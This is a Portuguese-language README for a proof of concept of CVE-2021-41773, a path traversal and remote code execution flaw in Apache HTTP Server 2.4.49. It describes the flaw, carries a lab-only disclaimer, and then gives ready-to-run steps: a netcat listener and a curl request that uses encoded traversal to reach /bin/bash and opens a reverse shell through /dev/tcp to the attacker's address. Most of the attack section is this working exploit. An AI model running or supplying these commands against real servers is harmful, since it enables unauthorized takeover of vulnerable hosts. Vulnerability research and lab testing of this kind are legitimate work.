
Prova de conceito educacional para CVE-2021-41773, demonstrando path traversal para execução remota de código no Apache HTTP Server 2.4.49 com um payload de reverse shell.
⚠️ Aviso
Este repositório destina-se estritamente a fins educacionais e de pesquisa.
As informações e o código aqui fornecidos podem ser usados em ambientes controlados, como máquinas de laboratório privadas.
O uso não autorizado deste código em sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.
O autor não é responsável por qualquer uso indevido ou danos causados.
CVE-2021-41773 afeta Apache HTTP Server versão 2.4.49.
Devido a uma validação inadequada de entrada na normalização de caminhos, um atacante pode explorar path traversal usando caracteres codificados como %2e para acessar arquivos arbitrários.
Se CGI estiver habilitado, esta vulnerabilidade pode ser escalada para execução remota de código (RCE) sem autenticação.
Uma requisição curl maliciosa é criada para explorar a falha de path traversal. Quando CGI está habilitado, atacantes podem alcançar /bin/bash e executar comandos arbitrários de shell.
Neste exemplo, um payload de reverse shell é enviado para obter acesso ao shell do servidor.
Este exploit foi testado em um ambiente de laboratório privado. Abaixo estão as etapas e os resultados.
Uma varredura Nmap identificou o alvo executando Apache/2.4.49.

Um payload de reverse shell foi enviado usando um comando curl manipulado.

Um reverse shell foi obtido com sucesso no listener do atacante.

Passo 1: Iniciar Listener Netcat
nc -nvlp 4444
Passo 2: Executar Exploit
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
Confira o passo a passo detalhado e a teoria no meu post do Medium:
👉 Leia o blog no Medium